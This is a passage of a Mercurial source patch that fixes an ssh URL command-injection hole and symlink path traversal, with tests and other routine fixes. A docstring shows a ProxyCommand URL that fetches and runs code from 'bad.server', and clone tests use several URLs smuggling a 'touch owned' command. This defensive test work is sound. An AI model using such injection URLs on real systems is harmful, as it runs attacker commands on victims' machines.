+                    pdate, pdist, ptag = max(ptags)
+                else:
+                    def key(x):
+                        changessincetag = len(repo.revs('only(%d, %s)',
+                                                        ctx.rev(), x[2][0]))
+                        # Smallest number of changes since tag wins. Date is
+                        # used as tiebreaker.
+                        return [-changessincetag, x[0]]
+                    pdate, pdist, ptag = max(ptags, key=key)
+            else:
+                pdate, pdist, ptag = ptags[0]
         except KeyError:
             # Cache miss - recurse
             todo.append(rev)
--- a/mercurial/ui.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/ui.py	Mon Sep 18 11:51:41 2017 -0400
@@ -904,7 +904,8 @@
                 if not getattr(self.ferr, 'closed', False):
                     self.ferr.flush()
         except IOError as inst:
-            raise error.StdioError(inst)
+            if inst.errno not in (errno.EPIPE, errno.EIO, errno.EBADF):
+                raise error.StdioError(inst)
 
     def flush(self):
         # opencode timeblockedsection because this is a critical path
@@ -913,12 +914,14 @@
             try:
                 self.fout.flush()
             except IOError as err:
-                raise error.StdioError(err)
+                if err.errno not in (errno.EPIPE, errno.EIO, errno.EBADF):
+                    raise error.StdioError(err)
             finally:
                 try:
                     self.ferr.flush()
                 except IOError as err:
-                    raise error.StdioError(err)
+                    if err.errno not in (errno.EPIPE, errno.EIO, errno.EBADF):
+                        raise error.StdioError(err)
         finally:
             self._blockedtimes['stdio_blocked'] += \
                 (util.timer() - starttime) * 1000
@@ -945,8 +948,14 @@
                    not "history, "summary" not "summ", etc.
         """
         if (self._disablepager
-            or self.pageractive
-            or command in self.configlist('pager', 'ignore')
+            or self.pageractive):
+            # how pager should do is already determined
+            return
+
+        if not command.startswith('internal-always-') and (
+            # explicit --pager=on (= 'internal-always-' prefix) should
+            # take precedence over disabling factors below
+            command in self.configlist('pager', 'ignore')
             or not self.configbool('ui', 'paginate')
             or not self.configbool('pager', 'attend-' + command, True)
             # TODO: if we want to allow HGPLAINEXCEPT=pager,
@@ -1209,6 +1218,7 @@
         # call write() so output goes through subclassed implementation
         # e.g. color extension on Windows
         self.write(prompt, prompt=True)
+        self.flush()
 
         # instead of trying to emulate raw_input, swap (self.fin,
         # self.fout) with (sys.stdin, sys.stdout)
--- a/mercurial/util.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/util.py	Mon Sep 18 11:51:41 2017 -0400
@@ -584,6 +584,14 @@
             del self[key]
         super(sortdict, self).__setitem__(key, value)
 
+    if pycompat.ispypy:
+        # __setitem__() isn't called as of PyPy 5.8.0
+        def update(self, src):
+            if isinstance(src, dict):
+                src = src.iteritems()
+            for k, v in src:
+                self[k] = v
+
 @contextlib.contextmanager
 def acceptintervention(tr=None):
     """A context manager that closes the transaction on InterventionRequired
@@ -2886,6 +2894,21 @@
 def urllocalpath(path):
     return url(path, parsequery=False, parsefragment=False).localpath()
 
+def checksafessh(path):
+    """check if a path / url is a potentially unsafe ssh exploit (SEC)
+
+    This is a sanity check for ssh urls. ssh will parse the first item as
+    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
+    Let's prevent these potentially exploited urls entirely and warn the
+    user.
+
+    Raises an error.Abort when the url is unsafe.
+    """
+    path = urlreq.unquote(path)
+    if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
+        raise error.Abort(_('potentially unsafe url: %r') %
+                          (path,))
+
 def hidepassword(u):
     '''hide user credential in a url string'''
     u = url(u)
--- a/mercurial/vfs.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/vfs.py	Mon Sep 18 11:51:41 2017 -0400
@@ -295,8 +295,13 @@
 
     This class is used to hide the details of COW semantics and
     remote file access from higher level code.
+
+    'cacheaudited' should be enabled only if (a) vfs object is short-lived, or
+    (b) the base directory is managed by hg and considered sort-of append-only.
+    See pathutil.pathauditor() for details.
     '''
-    def __init__(self, base, audit=True, expandpath=False, realpath=False):
+    def __init__(self, base, audit=True, cacheaudited=False, expandpath=False,
+                 realpath=False):
         if expandpath:
             base = util.expandpath(base)
         if realpath:
@@ -304,7 +309,7 @@
         self.base = base
         self._audit = audit
         if audit:
-            self.audit = pathutil.pathauditor(self.base)
+            self.audit = pathutil.pathauditor(self.base, cached=cacheaudited)
         else:
             self.audit = (lambda path, mode=None: True)
         self.createmode = None
--- a/mercurial/windows.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/windows.py	Mon Sep 18 11:51:41 2017 -0400
@@ -17,6 +17,7 @@
 from .i18n import _
 from . import (
     encoding,
+    error,
     policy,
     pycompat,
     win32,
@@ -203,7 +204,14 @@
     '''Build argument list for ssh or Plink'''
     pflag = 'plink' in sshcmd.lower() and '-P' or '-p'
     args = user and ("%s@%s" % (user, host)) or host
-    return port and ("%s %s %s" % (args, pflag, port)) or args
+    if args.startswith('-') or args.startswith('/'):
+        raise error.Abort(
+            _('illegal ssh hostname or username starting with - or /: %s') %
+            args)
+    args = shellquote(args)
+    if port:
+        args = '%s %s %s' % (pflag, shellquote(port), args)
+    return args
 
 def setflags(f, l, x):
     pass
--- a/setup.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/setup.py	Mon Sep 18 11:51:41 2017 -0400
@@ -784,11 +784,11 @@
     from distutils import cygwinccompiler
 
     # the -mno-cygwin option has been deprecated for years
-    compiler = cygwinccompiler.Mingw32CCompiler
+    mingw32compilerclass = cygwinccompiler.Mingw32CCompiler
 
     class HackedMingw32CCompiler(cygwinccompiler.Mingw32CCompiler):
         def __init__(self, *args, **kwargs):
-            compiler.__init__(self, *args, **kwargs)
+            mingw32compilerclass.__init__(self, *args, **kwargs)
             for i in 'compiler compiler_so linker_exe linker_so'.split():
                 try:
                     getattr(self, i).remove('-mno-cygwin')
@@ -809,11 +809,11 @@
     # effect.
     from distutils import msvccompiler
 
-    compiler = msvccompiler.MSVCCompiler
+    msvccompilerclass = msvccompiler.MSVCCompiler
 
     class HackedMSVCCompiler(msvccompiler.MSVCCompiler):
         def initialize(self):
-            compiler.initialize(self)
+            msvccompilerclass.initialize(self)
             # "warning LNK4197: export 'func' specified multiple times"
             self.ldflags_shared.append('/ignore:4197')
             self.ldflags_shared_debug.append('/ignore:4197')
--- a/tests/pdiff	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/pdiff	Mon Sep 18 11:51:41 2017 -0400
@@ -41,6 +41,9 @@
     diff -u "$file1" "$file2" |
     sed "s@^--- /dev/null\(.*\)\$@--- $1\1@" |
     sed "s@^\+\+\+ /dev/null\(.*\)\$@+++ $2\1@"
+
+    # in this case, files differ from each other
+    return 1
 }
 
 if test -d "$1" -o -d "$2"; then
@@ -53,6 +56,14 @@
     while read file; do
         filediff "$1/$file" "$2/$file" "diff -Nru $1/$file $2/$file"
     done
+
+    # TODO: there is no portable way for current while-read based
+    # implementation to return 1 at detecting changes.
+    #
+    # On bash and dash, assignment to variable inside while-block
+    # doesn't affect outside, because inside while-block is executed
+    # in sub-shell. BTW, it affects outside while-block on ksh (as sh
+    # on Solaris).
 else
     filediff "$1" "$2"
 fi
--- a/tests/test-acl.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-acl.t	Mon Sep 18 11:51:41 2017 -0400
@@ -883,7 +883,7 @@
   added 3 changesets with 3 changes to 3 files
   calling hook pretxnchangegroup.acl: hgext.acl.hook
   acl: checking access for user "barney"
-  error: pretxnchangegroup.acl hook raised an exception: [Errno 2] No such file or directory: '../acl.config'
+  error: pretxnchangegroup.acl hook raised an exception: [Errno *] * (glob)
   bundle2-input-part: total payload size 1553
   bundle2-input-bundle: 3 parts total
   transaction abort!
--- a/tests/test-audit-path.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-audit-path.t	Mon Sep 18 11:51:41 2017 -0400
@@ -129,3 +129,103 @@
   [255]
 
   $ cd ..
+
+Test symlink traversal on merge:
+--------------------------------
+
+#if symlink
+
+set up symlink hell
+
+  $ mkdir merge-symlink-out
+  $ hg init merge-symlink
+  $ cd merge-symlink
+  $ touch base
+  $ hg commit -qAm base
+  $ ln -s ../merge-symlink-out a
+  $ hg commit -qAm 'symlink a -> ../merge-symlink-out'
+  $ hg up -q 0
+  $ mkdir a
+  $ touch a/poisoned
+  $ hg commit -qAm 'file a/poisoned'
+  $ hg log -G -T '{rev}: {desc}\n'
+  @  2: file a/poisoned
+  |
+  | o  1: symlink a -> ../merge-symlink-out
+  |/
+  o  0: base
+  
+
+try trivial merge
+
+  $ hg up -qC 1
+  $ hg merge 2
+  abort: path 'a/poisoned' traverses symbolic link 'a'
+  [255]
+
+try rebase onto other revision: cache of audited paths should be discarded,
+and the rebase should fail (issue5628)
+
+  $ hg up -qC 2
+  $ hg rebase -s 2 -d 1 --config extensions.rebase=
+  rebasing 2:e73c21d6b244 "file a/poisoned" (tip)
+  abort: path 'a/poisoned' traverses symbolic link 'a'
+  [255]
+  $ ls ../merge-symlink-out
+
+  $ cd ..
+
+Test symlink traversal on update:
+---------------------------------
+
+  $ mkdir update-symlink-out
+  $ hg init update-symlink
+  $ cd update-symlink
+  $ ln -s ../update-symlink-out a
+  $ hg commit -qAm 'symlink a -> ../update-symlink-out'
+  $ hg rm a
+  $ mkdir a && touch a/b
+  $ hg ci -qAm 'file a/b' a/b
+  $ hg up -qC 0
+  $ hg rm a
+  $ mkdir a && touch a/c
+  $ hg ci -qAm 'rm a, file a/c'
+  $ hg log -G -T '{rev}: {desc}\n'
+  @  2: rm a, file a/c
+  |
+  | o  1: file a/b
+  |/
+  o  0: symlink a -> ../update-symlink-out
+  
+
+try linear update where symlink already exists:
+
+  $ hg up -qC 0
+  $ hg up 1
+  abort: path 'a/b' traverses symbolic link 'a'
+  [255]
+
+try linear update including symlinked directory and its content: paths are
+audited first by calculateupdates(), where no symlink is created so both
+'a' and 'a/b' are taken as good paths. still applyupdates() should fail.
+
+  $ hg up -qC null
+  $ hg up 1
+  abort: path 'a/b' traverses symbolic link 'a'
+  [255]
+  $ ls ../update-symlink-out
+
+try branch update replacing directory with symlink, and its content: the
+path 'a' is audited as a directory first, which should be audited again as
+a symlink.
+
+  $ rm -f a
+  $ hg up -qC 2
+  $ hg up 1
+  abort: path 'a/b' traverses symbolic link 'a'
+  [255]
+  $ ls ../update-symlink-out
+
+  $ cd ..
+
+#endif
--- a/tests/test-cache-abuse.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-cache-abuse.t	Mon Sep 18 11:51:41 2017 -0400
@@ -47,21 +47,21 @@
   >  echo bad > $CACHE
   >  test -z "$CLEAN" || $CLEAN
   >  hg $CMD > after
-  >  diff -u before after || echo "*** overwrite corruption"
+  >  "$RUNTESTDIR/pdiff" before after || echo "*** overwrite corruption"
   >  echo corruption >> $CACHE
   >  test -z "$CLEAN" || $CLEAN
   >  hg $CMD > after
-  >  diff -u before after || echo "*** append corruption"
+  >  "$RUNTESTDIR/pdiff" before after || echo "*** append corruption"
   >  rm $CACHE
   >  mkdir $CACHE
   >  test -z "$CLEAN" || $CLEAN
   >  hg $CMD > after
-  >  diff -u before after || echo "*** read-only corruption"
+  >  "$RUNTESTDIR/pdiff" before after || echo "*** read-only corruption"
   >  test -d $CACHE || echo "*** directory clobbered"
   >  rmdir $CACHE
   >  test -z "$CLEAN" || $CLEAN
   >  hg $CMD > after
-  >  diff -u before after || echo "*** missing corruption"
+  >  "$RUNTESTDIR/pdiff" before after || echo "*** missing corruption"
   >  test -f $CACHE || echo "not rebuilt"
   > }
 
--- a/tests/test-clone.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-clone.t	Mon Sep 18 11:51:41 2017 -0400
@@ -1097,3 +1097,66 @@
   adding remote bookmark bookA
   updating working directory
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+SEC: check for unsafe ssh url
+
+  $ cat >> $HGRCPATH << EOF
+  > [ui]
+  > ssh = sh -c "read l; read l; read l"
+  > EOF
+
+  $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  [255]
+  $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  [255]
+  $ hg clone 'ssh://fakehost|touch%20owned/path'
+  abort: no suitable response from remote hg!
+  [255]
+  $ hg clone 'ssh://fakehost%7Ctouch%20owned/path'
+  abort: no suitable response from remote hg!
+  [255]
+
+  $ hg clone 'ssh://-oProxyCommand=touch owned%20foo@example.com/nonexistent/path'
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned foo@example.com/nonexistent/path'
+  [255]
+
+#if windows
+  $ hg clone "ssh://%26touch%20owned%20/" --debug
+  running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio"
+  sending hello command
+  sending between command
+  abort: no suitable response from remote hg!
+  [255]
+  $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug
+  running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio"
+  sending hello command
+  sending between command
+  abort: no suitable response from remote hg!
+  [255]
+#else
+  $ hg clone "ssh://%3btouch%20owned%20/" --debug
+  running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio'
+  sending hello command
+  sending between command
+  abort: no suitable response from remote hg!
+  [255]
+  $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug
+  running sh -c "read l; read l; read l" -p ';touch owned ' example.com 'hg -R . serve --stdio'
+  sending hello command
+  sending between command
+  abort: no suitable response from remote hg!
+  [255]
+#endif
+
+  $ hg clone "ssh://v-alid.example.com/" --debug
+  running sh -c "read l; read l; read l" v-alid\.example\.com ['"]hg -R \. serve --stdio['"] (re)
+  sending hello command
+  sending between command
+  abort: no suitable response from remote hg!
+  [255]
+
+We should not have created a file named owned - if it exists, the
+attack succeeded.
+  $ if test -f owned; then echo 'you got owned'; fi
--- a/tests/test-command-template.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-command-template.t	Mon Sep 18 11:51:41 2017 -0400
@@ -2871,95 +2871,189 @@
 
 No tag set:
 
-  $ hg log --template '{rev}: {latesttag}+{latesttagdistance}\n'
-  5: null+5
-  4: null+4
-  3: null+3
-  2: null+3
-  1: null+2
-  0: null+1
-
-One common tag: longest path wins:
+  $ hg log -G --template '{rev}: {latesttag}+{latesttagdistance}\n'
+  @    5: null+5
+  |\
+  | o  4: null+4
+  | |
+  | o  3: null+3
+  | |
+  o |  2: null+3
+  |/
+  o  1: null+2
+  |
+  o  0: null+1
+  
+
+One common tag: longest path wins for {latesttagdistance}:
 
   $ hg tag -r 1 -m t1 -d '6 0' t1
-  $ hg log --template '{rev}: {latesttag}+{latesttagdistance}\n'
-  6: t1+4
-  5: t1+3
-  4: t1+2
-  3: t1+1
-  2: t1+1
-  1: t1+0
-  0: null+1
-
-One ancestor tag: more recent wins:
+  $ hg log -G --template '{rev}: {latesttag}+{latesttagdistance}\n'
+  @  6: t1+4
+  |
+  o    5: t1+3
+  |\
+  | o  4: t1+2
+  | |
+  | o  3: t1+1
+  | |
+  o |  2: t1+1
+  |/
+  o  1: t1+0
+  |
+  o  0: null+1
+  
+
+One ancestor tag: closest wins:
 
   $ hg tag -r 2 -m t2 -d '7 0' t2
-  $ hg log --template '{rev}: {latesttag}+{latesttagdistance}\n'
-  7: t2+3
-  6: t2+2
-  5: t2+1
-  4: t1+2
-  3: t1+1
-  2: t2+0
-  1: t1+0
-  0: null+1
-
-Two branch tags: more recent wins:
+  $ hg log -G --template '{rev}: {latesttag}+{latesttagdistance}\n'
+  @  7: t2+3
+  |
+  o  6: t2+2
+  |
+  o    5: t2+1
+  |\
+  | o  4: t1+2
+  | |
+  | o  3: t1+1
+  | |
+  o |  2: t2+0
+  |/
+  o  1: t1+0
+  |
+  o  0: null+1
+  
+
+Two branch tags: more recent wins if same number of changes:
 
   $ hg tag -r 3 -m t3 -d '8 0' t3
-  $ hg log --template '{rev}: {latesttag}+{latesttagdistance}\n'
-  8: t3+5
-  7: t3+4
-  6: t3+3
-  5: t3+2
-  4: t3+1
-  3: t3+0
-  2: t2+0
-  1: t1+0
-  0: null+1
+  $ hg log -G --template '{rev}: {latesttag}+{latesttagdistance}\n'
+  @  8: t3+5
+  |
+  o  7: t3+4
+  |
+  o  6: t3+3
+  |
+  o    5: t3+2
+  |\
+  | o  4: t3+1
+  | |
+  | o  3: t3+0
+  | |
+  o |  2: t2+0
+  |/
+  o  1: t1+0
+  |
+  o  0: null+1
+  
+
+Two branch tags: fewest changes wins:
+
+  $ hg tag -r 4 -m t4 -d '4 0' t4 # older than t2, but should not matter
+  $ hg log -G --template "{rev}: {latesttag % '{tag}+{distance},{changes} '}\n"
+  @  9: t4+5,6
+  |
+  o  8: t4+4,5
+  |
+  o  7: t4+3,4
+  |
+  o  6: t4+2,3
+  |
+  o    5: t4+1,2
+  |\
+  | o  4: t4+0,0
+  | |
+  | o  3: t3+0,0
+  | |
+  o |  2: t2+0,0
+  |/
+  o  1: t1+0,0
+  |
+  o  0: null+1,1
+  
 
 Merged tag overrides:
 
   $ hg tag -r 5 -m t5 -d '9 0' t5
   $ hg tag -r 3 -m at3 -d '10 0' at3
-  $ hg log --template '{rev}: {latesttag}+{latesttagdistance}\n'
-  10: t5+5
-  9: t5+4
-  8: t5+3
-  7: t5+2
-  6: t5+1
-  5: t5+0
-  4: at3:t3+1
-  3: at3:t3+0
-  2: t2+0
-  1: t1+0
-  0: null+1
-
-  $ hg log --template "{rev}: {latesttag % '{tag}+{distance},{changes} '}\n"
-  10: t5+5,5 
-  9: t5+4,4 
-  8: t5+3,3 
-  7: t5+2,2 
-  6: t5+1,1 
-  5: t5+0,0 
-  4: at3+1,1 t3+1,1 
-  3: at3+0,0 t3+0,0 
-  2: t2+0,0 
-  1: t1+0,0 
-  0: null+1,1 
-
-  $ hg log --template "{rev}: {latesttag('re:^t[13]$') % '{tag}, C: {changes}, D: {distance}'}\n"
-  10: t3, C: 8, D: 7
-  9: t3, C: 7, D: 6
-  8: t3, C: 6, D: 5
-  7: t3, C: 5, D: 4
-  6: t3, C: 4, D: 3
-  5: t3, C: 3, D: 2
-  4: t3, C: 1, D: 1
-  3: t3, C: 0, D: 0
-  2: t1, C: 1, D: 1
-  1: t1, C: 0, D: 0
-  0: null, C: 1, D: 1
+  $ hg log -G --template '{rev}: {latesttag}+{latesttagdistance}\n'
+  @  11: t5+6
+  |
+  o  10: t5+5
+  |
+  o  9: t5+4
+  |
+  o  8: t5+3
+  |
+  o  7: t5+2
+  |
+  o  6: t5+1
+  |
+  o    5: t5+0
+  |\
+  | o  4: t4+0
+  | |
+  | o  3: at3:t3+0
+  | |
+  o |  2: t2+0
+  |/
+  o  1: t1+0
+  |
+  o  0: null+1
+  
+
+  $ hg log -G --template "{rev}: {latesttag % '{tag}+{distance},{changes} '}\n"
+  @  11: t5+6,6
+  |
+  o  10: t5+5,5
+  |
+  o  9: t5+4,4
+  |
+  o  8: t5+3,3
+  |
+  o  7: t5+2,2
+  |
+  o  6: t5+1,1
+  |
+  o    5: t5+0,0
+  |\
+  | o  4: t4+0,0
+  | |
+  | o  3: at3+0,0 t3+0,0
+  | |
+  o |  2: t2+0,0
+  |/
+  o  1: t1+0,0
+  |
+  o  0: null+1,1
+  
+
+  $ hg log -G --template "{rev}: {latesttag('re:^t[13]$') % '{tag}, C: {changes}, D: {distance}'}\n"
+  @  11: t3, C: 9, D: 8
+  |
+  o  10: t3, C: 8, D: 7
+  |
+  o  9: t3, C: 7, D: 6
+  |
+  o  8: t3, C: 6, D: 5
+  |
+  o  7: t3, C: 5, D: 4
+  |
+  o  6: t3, C: 4, D: 3
+  |
+  o    5: t3, C: 3, D: 2
+  |\
+  | o  4: t3, C: 1, D: 1
+  | |
+  | o  3: t3, C: 0, D: 0
+  | |
+  o |  2: t1, C: 1, D: 1
+  |/
+  o  1: t1, C: 0, D: 0
+  |
+  o  0: null, C: 1, D: 1
+  
 
   $ cd ..
 
@@ -2981,7 +3075,7 @@
   > EOF
 
   $ hg -R latesttag tip
-  test 10:9b4a630e5f5f
+  test 11:97e5943b523a
 
 Test recursive showlist template (issue1989):
 
@@ -2994,7 +3088,7 @@
 
   $ hg -R latesttag log -r tip --style=style1989
   M|test
-  10,test
+  11,test
   branch: test
 
 Test new-style inline templating:
@@ -3027,6 +3121,7 @@
   $ hg log -R latesttag --template '{desc}\n'
   at3
   t5
+  t4
   t3
   t2
   t1
@@ -3040,6 +3135,7 @@
   $ hg log -R latesttag --template '{strip(desc, "te")}\n'
   at3
   5
+  4
   3
   2
   1
@@ -3055,6 +3151,7 @@
   $ hg log -R latesttag --template 'date: {date(date, "%y %m %d %S %z")}\n'
   date: 70 01 01 10 +0000
   date: 70 01 01 09 +0000
+  date: 70 01 01 04 +0000
   date: 70 01 01 08 +0000
   date: 70 01 01 07 +0000
   date: 70 01 01 06 +0000
--- a/tests/test-commandserver.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-commandserver.t	Mon Sep 18 11:51:41 2017 -0400
@@ -234,7 +234,9 @@
   *** runcommand --config hooks.pre-identify=python:hook.hook id
   eff892de26ec tip
 
+Clean hook cached version
   $ rm hook.py*
+  $ rm -Rf __pycache__
 
   $ echo a >> a
   >>> import os
@@ -906,3 +908,80 @@
   *** runcommand log
   0 bar (bar)
   *** runcommand verify -q
+
+  $ cd ..
+
+Test symlink traversal over cached audited paths:
+-------------------------------------------------
+
+#if symlink
+
+set up symlink hell
+
+  $ mkdir merge-symlink-out
+  $ hg init merge-symlink
+  $ cd merge-symlink
+  $ touch base
+  $ hg commit -qAm base
+  $ ln -s ../merge-symlink-out a
+  $ hg commit -qAm 'symlink a -> ../merge-symlink-out'
+  $ hg up -q 0
+  $ mkdir a
+  $ touch a/poisoned
+  $ hg commit -qAm 'file a/poisoned'
+  $ hg log -G -T '{rev}: {desc}\n'
+  @  2: file a/poisoned
+  |
+  | o  1: symlink a -> ../merge-symlink-out
+  |/
+  o  0: base
+  
+
+try trivial merge after update: cache of audited paths should be discarded,
+and the merge should fail (issue5628)
+
+  $ hg up -q null
+  >>> from hgclient import readchannel, runcommand, check
+  >>> @check
+  ... def merge(server):
+  ...     readchannel(server)
+  ...     # audit a/poisoned as a good path
+  ...     runcommand(server, ['up', '-qC', '2'])
+  ...     runcommand(server, ['up', '-qC', '1'])
+  ...     # here a is a symlink, so a/poisoned is bad
+  ...     runcommand(server, ['merge', '2'])
+  *** runcommand up -qC 2
+  *** runcommand up -qC 1
+  *** runcommand merge 2
+  abort: path 'a/poisoned' traverses symbolic link 'a'
+   [255]
+  $ ls ../merge-symlink-out
+
+cache of repo.auditor should be discarded, so matcher would never traverse
+symlinks:
+
+  $ hg up -qC 0
+  $ touch ../merge-symlink-out/poisoned
+  >>> from hgclient import readchannel, runcommand, check
+  >>> @check
+  ... def files(server):
+  ...     readchannel(server)
+  ...     runcommand(server, ['up', '-qC', '2'])
+  ...     # audit a/poisoned as a good path
+  ...     runcommand(server, ['files', 'a/poisoned'])
+  ...     runcommand(server, ['up', '-qC', '0'])
+  ...     runcommand(server, ['up', '-qC', '1'])
+  ...     # here 'a' is a symlink, so a/poisoned should be warned
+  ...     runcommand(server, ['files', 'a/poisoned'])
+  *** runcommand up -qC 2
+  *** runcommand files a/poisoned
+  a/poisoned
+  *** runcommand up -qC 0
+  *** runcommand up -qC 1
+  *** runcommand files a/poisoned
+  abort: path 'a/poisoned' traverses symbolic link 'a'
+   [255]
+
+  $ cd ..
+
+#endif
--- a/tests/test-commit.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-commit.t	Mon Sep 18 11:51:41 2017 -0400
@@ -135,12 +135,30 @@
   $ hg commit -m "adding internal used extras" --extra amend_source=hash
   abort: key 'amend_source' is used internally, can't be set manually
   [255]
+  $ hg commit -m "special chars in extra" --extra id@phab=214
+  abort: keys can only contain ascii letters, digits, '_' and '-'
+  [255]
+  $ hg commit -m "empty key" --extra =value
+  abort: unable to parse '=value', keys can't be empty
+  [255]
   $ hg commit -m "adding extras" --extra sourcehash=foo --extra oldhash=bar
   $ hg log -r . -T '{extras % "{extra}\n"}'
   branch=default
   oldhash=bar
   sourcehash=foo
 
+Failed commit with --addremove should not update dirstate
+
+  $ echo foo > newfile
+  $ hg status
+  ? newfile
+  $ HGEDITOR=false hg ci --addremove
+  adding newfile
+  abort: edit failed: false exited with status 1
+  [255]
+  $ hg status
+  ? newfile
+
 Make sure we do not obscure unknown requires file entries (issue2649)
 
   $ echo foo >> foo
--- a/tests/test-context.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-context.py	Mon Sep 18 11:51:41 2017 -0400
@@ -24,11 +24,10 @@
 repo[None].add(['foo'])
 repo.commit(text='commit1', date="0 0")
 
+d = repo[None]['foo'].date()
 if os.name == 'nt':
-    d = repo[None]['foo'].date()
-    print("workingfilectx.date = (%d, %d)" % (d[0], d[1]))
-else:
-    print("workingfilectx.date =", repo[None]['foo'].date())
+    d = d[:2]
+print("workingfilectx.date = (%d, %d)" % d)
 
 # test memctx with non-ASCII commit message
 
--- a/tests/test-devel-warnings.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-devel-warnings.t	Mon Sep 18 11:51:41 2017 -0400
@@ -129,7 +129,7 @@
   $ hg commit -m a
   $ hg stripintr 2>&1 | egrep -v '^(\*\*|  )'
   Traceback (most recent call last):
-  mercurial.error.ProgrammingError: cannot strip from inside a transaction
+  *ProgrammingError: cannot strip from inside a transaction (glob)
 
   $ hg oldanddeprecated
   devel-warn: foorbar is deprecated, go shopping
@@ -187,7 +187,7 @@
   ** Extensions loaded: * (glob)
   ** ProgrammingError: transaction requires locking
   Traceback (most recent call last):
-  mercurial.error.ProgrammingError: transaction requires locking
+  *ProgrammingError: transaction requires locking (glob)
 
   $ hg programmingerror 2>&1 | egrep -v '^  '
   ** Unknown exception encountered with possibly-broken third-party extension buggylocking
@@ -200,7 +200,7 @@
   ** ProgrammingError: something went wrong
   ** (try again)
   Traceback (most recent call last):
-  mercurial.error.ProgrammingError: something went wrong
+  *ProgrammingError: something went wrong (glob)
 
 Old style deprecation warning
 
--- a/tests/test-extdiff.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-extdiff.t	Mon Sep 18 11:51:41 2017 -0400
@@ -263,8 +263,16 @@
 will change to /tmp/extdiff.TMP and populate directories a.TMP and a
 and start tool
 
+#if windows
+  $ cat > 'diff tool.bat' << EOF
+  > @$PYTHON "`pwd`/diff tool.py"
+  > EOF
+  $ hg extdiff -p "`pwd`/diff tool.bat"
+  [1]
+#else
   $ hg extdiff -p "`pwd`/diff tool.py"
   [1]
+#endif
 
 Diff in working directory, after:
 
--- a/tests/test-extension.t	Mon Jul 31 12:18:42 2017 -0300
+++ b/tests/test-extension.t	Mon Sep 18 11:51:41 2017 -0400
@@ -245,6 +245,7 @@
 
 #if no-py3k
   $ rm "$TESTTMP"/extroot/foo.*
+  $ rm -Rf "$TESTTMP/extroot/__pycache__"
   $ cat > $TESTTMP/extroot/foo.py <<EOF
   > # test relative import
   > buf = []
@@ -1238,6 +1239,7 @@
 If the extension specifies a buglink, show that:
   $ echo 'buglink = "http://example.com/bts"' >> throw.py
   $ rm -f throw.pyc throw.pyo
+  $ rm -Rf __pycache__
   $ hg --config extensions.throw=throw.py throw 2>&1 | egrep '^\*\*'
   ** Unknown exception encountered with possibly-broken third-party extension throw
   ** which supports versions unknown of Mercurial.
@@ -1253,6 +1255,7 @@
   $ echo "testedwith = '1.9.3'" >> older.py
   $ echo "testedwith = '2.1.1'" >> throw.py
   $ rm -f throw.pyc throw.pyo
+  $ rm -Rf __pycache__
   $ hg --config extensions.throw=throw.py --config extensions.older=older.py \
   >   throw 2>&1 | egrep '^\*\*'
   ** Unknown exception encountered with possibly-broken third-party extension older
@@ -1266,6 +1269,7 @@
 One extension only tested with older, one only with newer versions:
   $ echo "util.version = lambda:'2.1'" >> older.py
   $ rm -f older.pyc older.pyo
+  $ rm -Rf __pycache__
   $ hg --config extensions.throw=throw.py --config extensions.older=older.py \
   >   throw 2>&1 | egrep '^\*\*'
   ** Unknown exception encountered with possibly-broken third-party extension older
@@ -1279,6 +1283,7 @@
 Older extension is tested with current version, the other only with newer:
   $ echo "util.version = lambda:'1.9.3'" >> older.py
   $ rm -f older.pyc older.pyo
+  $ rm -Rf __pycache__
   $ hg --config extensions.throw=throw.py --config extensions.older=older.py \
   >   throw 2>&1 | egrep '^\*\*'
   ** Unknown exception encountered with possibly-broken third-party extension throw
@@ -1305,6 +1310,7 @@
   >   echo "unable to fetch a mercurial version. Make sure __version__ is correct";
   > fi
   $ rm -f throw.pyc throw.pyo
+  $ rm -Rf __pycache__
   $ hg --config extensions.throw=throw.py throw 2>&1 | egrep '^\*\*'
   ** unknown exception encountered, please report by visiting
   ** https://mercurial-scm.org/wiki/BugTracker
@@ -1316,6 +1322,7 @@
   $ echo "testedwith = '3.2'" >> throw.py
   $ echo "util.version = lambda:'3.2.2'" >> throw.py
   $ rm -f throw.pyc throw.pyo
+  $ rm -Rf __pycache__
   $ hg --config extensions.throw=throw.py throw 2>&1 | egrep '^\*\*'
   ** unknown exception encountered, please report by visiting
   ** https://mercurial-scm.org/wiki/BugTracker
@@ -1326,6 +1333,7 @@
 Test version number support in 'hg version':
   $ echo '__version__ = (1, 2, 3)' >> throw.py
   $ rm -f throw.pyc throw.pyo
+  $ rm -Rf __pycache__
   $ hg version -v
   Mercurial Distributed SCM (version *) (glob)
   (see https://mercurial-scm.org for more information)
@@ -1350,6 +1358,7 @@
     throw  external  1.2.3
   $ echo 'getversion = lambda: "1.twentythree"' >> throw.py
   $ rm -f throw.pyc throw.pyo
+  $ rm -Rf __pycache__
